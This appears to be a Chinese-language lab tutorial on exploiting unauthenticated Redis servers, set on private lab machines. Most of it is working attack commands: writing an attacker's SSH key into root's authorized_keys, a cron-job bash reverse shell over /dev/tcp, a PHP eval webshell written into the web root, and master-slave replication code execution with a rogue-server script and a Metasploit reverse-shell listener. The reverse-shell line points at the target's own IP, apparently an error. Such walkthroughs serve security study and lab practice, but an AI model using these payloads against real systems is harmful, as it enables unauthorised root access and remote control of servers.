目录
Redis简介
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。是非关系型数据库
Redis基本常识
Redis默认开放端口为6379端口,其配置文件位置为 /etc/redis/redis.conf ,Redis默认是不需要账号密码的,因此Redis的未授权漏洞一直很火。
Redis常用命令
set xl 123 设置键xl的值为123
get xl 获取键xl的内容
INCR xl 使用INCR命令将xl的值增加1
keys * 列出当前数据库中所有的键
config set protected-mode no 关闭安全模式
config set dir /root/redis 设置保存目录
config set dbfilename redis.rdb 设置保存文件名
config get dir 查看保存目录
config get dbfilename 查看保存文件名
save 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
slaveof ip port 设置主从关系,将当前服务器转变为指定服务器的从属服务器
环境搭建
- 靶机1:unbuntu 16 192.168.31.134
- 靶机2:unbuntu 16 192.168.31.131
- 攻击机:kali 192.168.31.128
首先在靶机上都按安装redis
- sudo apt-get update
- sudo apt-get install redis-server
- 启动redis-server时,一定要加上配置文件,例如:
- redis-server /etc/redis/redis.conf
注意事项
新版本Ubuntu系统增添了apparmor此软件,会对目录穿越有很大限制,因此复现漏洞需要关闭此服务 命令为
- service apparmor stop
漏洞复现
写 ssh-keygen 公钥登录服务器
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种就是密钥验证
密钥验证原理
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密
密钥验证过程
- 前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。
- 客户端把用户验证的密钥对ID发送给服务器;
- 服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;
- 假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;
- 服务器将加密后的信息发送给客户端;
- 假设客户端拥有对应的私钥,就可以解密出原来的随机数;
- 客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;
- 客户端将MD5哈希值发送回服务器;
- 服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。
利用条件
- Redis服务器账号必须有root权限
- 服务器开放SSH服务,且允许使用密钥登录
漏洞复现
1.在kali攻击机上生成密钥文件,公钥文件默认路径:/root/.ssh/id_rsa.pub
- ssh-keygen -t rsa -f Redis -t 指定认证方式 -f 指定文件名称
2.通过Redis未授权,将公钥发送到目标服务器上
- redis-cli -h 192.168.31.134
- config get dir
- config get dbfilename
- config set dir "/root/.ssh"
- config set dbfilename authorzed_keys
- set xl "\n\n公钥\n\n"
- save
3.然后通过SSH直接访问目标服务器
利用计划任务反弹shell
unbuntu的计划任务放在/var/spool/cron/crontab文件中,root用户权限可直接修改计划任务,可将反弹shell命令直接写入计划任务中
条件:
- root启用Redis
- redis无密码或者弱密码
漏洞复现
1. 首先kali利用nc监听本机4444端口
- nc -lvp 4444
2.然后在redis中执行以下命令
- redis-cli -h 192.168.31.134 连接目标服务器
- flushall 清除所有键值
- config set dir "/var/spool/cron/crontabs" 设置保存文件路径
- config set dbfilename shell 设置保存文件名称
- set xl "\n * * * * * bash -i >& /dev/tcp/192.168.31.134/4444 0>&1\n" 将反弹shell写入xl键值中
- save 保存
3.然后等着计划任务反弹shell,这里坑很多,希望大家不要用ubuntu复现这个漏洞,因为坑太多了,推荐使用centos系统来复现计划任务这个漏洞。
Redis直接写webshell
条件
- 知道网站绝对路径,并且需要增删改查权限
- root启动redis
- redis弱密码或者无密码
漏洞复现
1.连接目标redis,执行以下命令
- redis-cli -h 192.168.31.134
- config set dir "/var/www/html"
- config set dbfilename shell.php
- set xl "\n\n<?php @eval($_POST['cmd']); ?>\n"
- save
2.然后用蚁剑进行连接
Redis主从复制getshell
原理
当读写体量很大的时候,服务器就很难承受,这个时候Redis的主从模式就派上用场了。主从模式就是指定一个
redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。
条件
- Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
- redis弱密码或者无密码
- root启动redis
环境搭建
- 靶机1 192.168.31.134 主机
- 靶机2 192.168.31.135 从机
- kali 192.168.31.128 攻击机
漏洞复现
1.首先使用靶机1作为从机,配置主从服务器
- redis-cli 192.168.31.135
- slaveof 192.168.31.134 6379
2.然后使用大佬的脚本https://github.com/n0b0dyCN/redis-rogue-server,我是用的是作者大大现成的so文件
,等我有时间会自己写一个自己的脚本,用别人的总不是好的办法!
该脚本有两种使用方法,一种是交互式shell,另一种是反弹shell,该脚本要运行在攻击机上,rhost:攻击机ip地址,lhost:redis主机ip地址
交互shell演示:
- python3 redis-rogue-server.py --rhost 192.168.31.128 --lhost 192.168.31.135 --exp module.so
反弹shell演示
1.启动msf,运行侦听模块(也可以使用nc连接)
- use exploit/multi/handler
- set payload generic/shell_reverse_tcp
- set lhost 192.168.31.128 默认侦听端口为4444
- run
2.然后运行脚本
- python3 redis-rogue-server.py --rhost 192.168.31.128 --lhost 192.168.31.135 --exp module.so
- 选择r参数,然后输入反弹IP地址和端口号
3.可以看到msf反弹shell成功,开启了一个新会话窗口